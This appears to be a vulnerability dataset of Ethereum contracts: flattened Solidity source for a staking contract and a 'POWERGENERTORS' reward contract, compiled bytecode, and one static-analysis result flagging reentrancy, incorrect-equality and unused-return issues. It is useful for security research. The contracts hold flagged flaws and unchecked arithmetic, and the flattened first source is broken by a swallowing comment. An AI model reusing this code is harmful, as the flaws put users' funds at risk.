totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; lastDivPoints[account] = totalDivPoints; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]); uint depositedAmount = depositedTokens[_holder]; uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function canWithdraw(address account) public view returns (uint) { if(now.sub(depositTime[account]) > cliffTime){ return 1 ; } else{ return 0 ; } } function deposit(uint amountToDeposit) public { require(amountToDeposit > 0, "Cannot deposit 0 Tokens"); updateAccount(msg.sender); require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit); totalTokens = totalTokens.add(amountToDeposit); if (!holders.contains(msg.sender)) { holders.add(msg.sender); depositTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() public { updateAccount(msg.sender); } function distributeDivs(uint amount) private { if (totalTokens == 0) return; totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens)); emit RewardsDisbursed(amount); } function disburseTokens() public onlyOwner { uint amount = getPendingDisbursement(); // uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this)); if (contractBalance < amount) { amount = contractBalance; } if (amount == 0) return; distributeDivs(amount); contractBalance = contractBalance.sub(amount); lastDisburseTime = now; } function getPendingDisbursement() public view returns (uint) { uint timeDiff = now.sub(lastDisburseTime); uint pendingDisburse = disburseAmount .mul(disbursePercentX100) .mul(timeDiff) .div(disburseDuration) .div(10000); return pendingDisburse; } function getDepositorsList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = depositTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } }
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c80638b7afe2e1161011a578063c326bf4f116100ad578063d7130e141161007c578063d7130e1414610877578063e027c61f14610895578063f2fde38b146108b3578063f3f91fa0146108f7578063fe547f721461094f576101fb565b8063c326bf4f146107c5578063ca7e08351461081d578063d1b965f31461083b578063d578ceab14610859576101fb565b806398896d10116100e957806398896d10146107035780639f54790d1461075b578063ac51de8d14610779578063b6b55f2514610797576101fb565b80638b7afe2e1461065f5780638da5cb5b1461067d5780638e20a1d9146106c75780638f5705be146106e5576101fb565b8063308feec3116101925780634e71d92d116101615780634e71d92d146105c15780636270cd18146105cb57806365ca78be146106235780637e1c0c0914610641576101fb565b8063308feec3146104d357806331a5dda1146104f1578063452b4cfc1461053b57806346c6487314610569576101fb565b806319262d30116101ce57806319262d30146103ab5780631cfa8021146104035780631f04461c1461044d5780632e1a7d4d146104a5576101fb565b806305447d25146102005780630813cc8f146103655780630c9a0c781461036f5780630f1a64441461038d575b600080fd5b6102366004803603604081101561021657600080fd5b81019080803590602001909291908035906020019092919050505061096d565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561028557808201518184015260208101905061026a565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102c75780820151818401526020810190506102ac565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156103095780820151818401526020810190506102ee565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561034b578082015181840152602081019050610330565b505050509050019850505050505050505060405180910390f35b61036d610c86565b005b610377610d39565b6040518082815260200191505060405180910390f35b610395610d3f565b6040518082815260200191505060405180910390f35b6103ed600480360360208110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d45565b6040518082815260200191505060405180910390f35b61040b610db5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61048f6004803603602081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddb565b6040518082815260200191505060405180910390f35b6104d1600480360360208110156104bb57600080fd5b8101908080359060200190929190505050610df3565b005b6104db6113b9565b6040518082815260200191505060405180910390f35b6104f96113ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105676004803603602081101561055157600080fd5b81019080803590602001909291905050506113f0565b005b6105ab6004803603602081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f1565b6040518082815260200191505060405180910390f35b6105c9611609565b005b61060d600480360360208110156105e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611614565b6040518082815260200191505060405180910390f35b61062b61162c565b6040518082815260200191505060405180910390f35b610649611632565b6040518082815260200191505060405180910390f35b610667611638565b6040518082815260200191505060405180910390f35b61068561163e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106cf611663565b6040518082815260200191505060405180910390f35b6106ed611669565b6040518082815260200191505060405180910390f35b6107456004803603602081101561071957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061166f565b6040518082815260200191505060405180910390f35b6107636117b6565b6040518082815260200191505060405180910390f35b6107816117bc565b6040518082815260200191505060405180910390f35b6107c3600480360360208110156107ad57600080fd5b8101908080359060200190929190505050611833565b005b610807600480360360208110156107db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b61565b6040518082815260200191505060405180910390f35b610825611b79565b6040518082815260200191505060405180910390f35b610843611b7f565b6040518082815260200191505060405180910390f35b610861611b85565b6040518082815260200191505060405180910390f35b61087f611b8b565b6040518082815260200191505060405180910390f35b61089d611b91565b6040518082815260200191505060405180910390f35b6108f5600480360360208110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b97565b005b6109396004803603602081101561090d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce8565b6040518082815260200191505060405180910390f35b610957611d00565b6040518082815260200191505060405180910390f35b60608060608084861061097f57600080fd5b60006109948787611d2290919063ffffffff16565b905060608167ffffffffffffffff811180156109af57600080fd5b506040519080825280602002602001820160405280156109de5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff811180156109fa57600080fd5b50604051908082528060200260200182016040528015610a295781602001602082028036833780820191505090505b50905060608367ffffffffffffffff81118015610a4557600080fd5b50604051908082528060200260200182016040528015610a745781602001602082028036833780820191505090505b50905060608467ffffffffffffffff81118015610a9057600080fd5b50604051908082528060200260200182016040528015610abf5781602001602082028036833780820191505090505b50905060008b90505b8a811015610c6b576000610ae682600d611d3990919063ffffffff16565b90506000610afd8e84611d2290919063ffffffff16565b905081878281518110610b0c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610b9257fe5b602002602001018181525050601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610bea57fe5b602002602001018181525050600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610c4257fe5b6020026020010181815250505050610c64600182611d0690919063ffffffff16565b9050610ac8565b50838383839850985098509850505050505092959194509250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cdf57600080fd5b6000610ce96117bc565b9050806015541015610cfb5760155490505b6000811415610d0a5750610d37565b610d1381611d53565b610d2881601554611d2290919063ffffffff16565b60158190555042600b81905550505b565b60085481565b60075481565b6000600754610d9c601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d2290919063ffffffff16565b1115610dab5760019050610db0565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60136020528060005260406000206000915090505481565b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ea8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610efd601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d2290919063ffffffff16565b11610f70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b610f7933611de1565b6000610fa4612710610f96600454856120f790919063ffffffff16565b61212690919063ffffffff16565b90506000610fbb8284611d2290919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b505050506040513d60208110156110b157600080fd5b8101908080519060200190929190505050611134576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111dd57600080fd5b505af11580156111f1573d6000803e3d6000fd5b505050506040513d602081101561120757600080fd5b810190808051906020019092919050505061128a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6112dc83600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2290919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133483601754611d2290919063ffffffff16565b60178190555061134e33600d61213f90919063ffffffff16565b801561139957506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156113b4576113b233600d61216f90919063ffffffff16565b505b505050565b60006113c5600d61219f565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461144957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561152657600080fd5b505af115801561153a573d6000803e3d6000fd5b505050506040513d602081101561155057600080fd5b81019080805190602001909291905050506115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b6115e881601554611d0690919063ffffffff16565b60158190555050565b60106020528060005260406000206000915090505481565b61161233611de1565b565b60126020528060005260406000206000915090505481565b60145481565b60175481565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b60065481565b600061168582600d61213f90919063ffffffff16565b61169257600090506117b1565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156116e357600090506117b1565b6000611739601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601654611d2290919063ffffffff16565b90506000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006117a860185461179a85856120f790919063ffffffff16565b61212690919063ffffffff16565b90508093505050505b919050565b60095481565b6000806117d4600b5442611d2290919063ffffffff16565b9050600061182961271061181b60065461180d866117ff6008546005546120f790919063ffffffff16565b6120f790919063ffffffff16565b61212690919063ffffffff16565b61212690919063ffffffff16565b9050809250505090565b600081116118a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b6118b233611de1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561198f57600080fd5b505af11580156119a3573d6000803e3d6000fd5b505050506040513d60208110156119b957600080fd5b8101908080519060200190929190505050611a3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611a8e81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae681601754611d0690919063ffffffff16565b601781905550611b0033600d61213f90919063ffffffff16565b611b5e57611b1833600d6121b490919063ffffffff16565b5042601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600f6020528060005260406000206000915090505481565b600a5481565b60045481565b600c5481565b60035481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c2a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60116020528060005260406000206000915090505481565b60055481565b600080828401905083811015611d1857fe5b8091505092915050565b600082821115611d2e57fe5b818303905092915050565b6000611d4883600001836121e4565b60001c905092915050565b60006017541415611d6357611dde565b611da0611d8f601754611d81601854856120f790919063ffffffff16565b61212690919063ffffffff16565b601654611d0690919063ffffffff16565b6016819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b6000611dec8261166f565b9050600081111561206957600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ea057600080fd5b505af1158015611eb4573d6000803e3d6000fd5b505050506040513d6020811015611eca57600080fd5b8101908080519060200190929190505050611f4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611f9f81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff781600c54611d0690919063ffffffff16565b600c819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601654601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061211657508284828161211357fe5b04145b61211c57fe5b8091505092915050565b60008082848161213257fe5b0490508091505092915050565b6000612167836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612267565b905092915050565b6000612197836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61228a565b905092915050565b60006121ad82600001612372565b9050919050565b60006121dc836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612383565b905092915050565b600081836000018054905011612245576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123f46022913960400191505060405180910390fd5b82600001828154811061225457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461236657600060018203905060006001866000018054905003905060008660000182815481106122d557fe5b90600052602060002001549050808760000184815481106122f257fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061232a57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061236c565b60009150505b92915050565b600081600001805490509050919050565b600061238f8383612267565b6123e85782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506123ed565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a264697066735822122046e7972b3c60117ab4615b02e1100f35353d9a625d2206012f035550285d527164736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,408
0xf78c76a75a912c93380e0fd0d56d404ed617d340
pragma solidity 0.6.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function supplyeffect(uint _amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface POWER { function scaledPower(uint amount) external returns(bool); function totalPopping() external view returns (uint256); } interface FIRE { function balanceOf(address _user) external view returns (uint256); } contract POWERGENERTORS{ using SafeMath for uint256; //======================================EVENTS=========================================// event POPCORNEvent(address indexed executioner, address indexed pool, uint amount); event DITCHEvent(address indexed executioner, address indexed pool, uint amount); event PooppingRewardEvent(address indexed executioner, address indexed pool, uint amount); //======================================INTERRACTING MACHINE SECTIONS=========================================// address public popcornToken; address public fireball; address public operator; address public powerToken; bool public _machineReady; uint256 constant private FLOAT_SCALAR = 2**64; uint256 public MINIMUM_POP = 10000000000000000000; uint256 private MIN_POP_DUR = 10 days; uint256 public MIN_FIRE_TO_POP = 1000000000000000000; uint public infocheck; uint actualValue; struct User { uint256 popslot; int256 scaledPayout; uint256 poptime; } struct Info { uint256 totalPopping; mapping(address => User) users; uint256 scaledPayoutPerToken; //pool balance address admin; } Info private info; //mapping(address => bool) whitelisted; constructor() public { info.admin = msg.sender; _machineReady = true; } //======================================ADMINSTRATION=========================================// modifier onlyCreator() { require(msg.sender == info.admin, "Ownable: caller is not the administrator"); _; } modifier onlypopcornTokenoroperators() { require(msg.sender == popcornToken || msg.sender == operator, "Authorization: only authorized contract can call"); _; } function machinery(address _popcornToken, address _powertoken, address _fire, address _operator) public onlyCreator returns (bool success) { popcornToken = _popcornToken; powerToken = _powertoken; //liquidity token fireball = _fire; operator = _operator; return true; } function _minPopAmount(uint256 _number) onlyCreator public { MINIMUM_POP = _number*1000000000000000000; } function _minFIRE_TO_POP(uint256 _number) onlyCreator public { MIN_FIRE_TO_POP = _number*1000000000000000000; } function machineReady(bool _status) public onlyCreator { _machineReady = _status; } function popCorns(uint256 _tokens) external { _popcorns(_tokens); } function DitchCorns(uint256 _tokens) external { _ditchcorns(_tokens); } function totalPopping() public view returns (uint256) { return info.totalPopping; } function popslotOf(address _user) public view returns (uint256) { return info.users[_user].popslot; } function cornsOf(address _user) public view returns (uint256) { return uint256(int256(info.scaledPayoutPerToken * info.users[_user].popslot) - info.users[_user].scaledPayout) / FLOAT_SCALAR; } function userData(address _user) public view returns (uint256 totalCornsPopping, uint256 userpopslot, uint256 usercorns, uint256 userpoptime, int256 scaledPayout) { return (totalPopping(), popslotOf(_user), cornsOf(_user), info.users[_user].poptime, info.users[_user].scaledPayout); } //======================================ACTION CALLS=========================================// function _popcorns(uint256 _amount) internal { require(_machineReady, "Staking not yet initialized"); require(FIRE(fireball).balanceOf(msg.sender) > MIN_FIRE_TO_POP, "You do not have sufficient fire to pop this corn"); require(IERC20(powerToken).balanceOf(msg.sender) >= _amount, "Insufficient power token balance"); require(popslotOf(msg.sender) + _amount >= MINIMUM_POP, "Your amount is lower than the minimum amount allowed to pop"); require(IERC20(powerToken).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user"); info.users[msg.sender].poptime = now; info.totalPopping += _amount; info.users[msg.sender].popslot += _amount; info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken); IERC20(powerToken).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract emit POPCORNEvent(msg.sender, address(this), _amount); } function _ditchcorns(uint256 _amount) internal { require(popslotOf(msg.sender) >= _amount, "You currently do not have up to that amount popping"); info.totalPopping -= _amount; info.users[msg.sender].popslot -= _amount; info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken); require(IERC20(powerToken).transfer(msg.sender, _amount), "Transaction failed"); emit DITCHEvent(address(this), msg.sender, _amount); } function Takecorns() external returns (uint256) { uint256 _dividends = cornsOf(msg.sender); require(_dividends >= 0, "you do not have any corn yet"); info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR); require(IERC20(popcornToken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender emit PooppingRewardEvent(msg.sender, address(this), _dividends); return _dividends; } function scaledPower(uint _amount) external onlypopcornTokenoroperators returns(bool){ info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalPopping; infocheck = info.scaledPayoutPerToken; return true; } function mulDiv (uint x, uint y, uint z) public pure returns (uint) { (uint l, uint h) = fullMul (x, y); assert (h < z); uint mm = mulmod (x, y, z); if (mm > l) h -= 1; l -= mm; uint pow2 = z & -z; z /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint r = 1; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; return l * r; } function fullMul (uint x, uint y) private pure returns (uint l, uint h) { uint mm = mulmod (x, y, uint (-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638ab65e13116100b8578063c89109131161007c578063c8910913146102b7578063c917e03514610308578063d8b98df114610310578063e86c5bd414610336578063f153c19c1461033e578063fd2f635f1461034657610137565b80638ab65e131461023b5780638b38cbfe146102435780639662ac5814610260578063aa9a091214610268578063b6800f781461029157610137565b8063664db3b0116100ff578063664db3b0146101c257806369c18e12146101dc578063739998b5146101e45780637beec6c0146102015780638208a55f1461021e57610137565b80630bb41f001461013c57806333c6a7281461016057806350ded49014610181578063540fcde0146101b2578063570ca735146101ba575b600080fd5b610144610384565b604080516001600160a01b039092168252519081900360200190f35b61017f6004803603602081101561017657600080fd5b50351515610393565b005b61019e6004803603602081101561019757600080fd5b50356103fa565b604080519115158252519081900360200190f35b610144610484565b610144610493565b6101ca6104a2565b60408051918252519081900360200190f35b6101ca6105cc565b61017f600480360360208110156101fa57600080fd5b50356105d2565b61017f6004803603602081101561021757600080fd5b50356105de565b61017f6004803603602081101561023457600080fd5b50356105e7565b61019e61063f565b61017f6004803603602081101561025957600080fd5b503561064f565b6101446106a7565b6101ca6004803603606081101561027e57600080fd5b50803590602081013590604001356106b6565b6101ca600480360360208110156102a757600080fd5b50356001600160a01b031661076a565b6102dd600480360360208110156102cd57600080fd5b50356001600160a01b0316610785565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101ca6107dc565b6101ca6004803603602081101561032657600080fd5b50356001600160a01b03166107e2565b6101ca610812565b6101ca610818565b61019e6004803603608081101561035c57600080fd5b506001600160a01b03813581169160208101358216916040820135811691606001351661081e565b6000546001600160a01b031681565b600c546001600160a01b031633146103dc5760405162461bcd60e51b815260040180806020018281038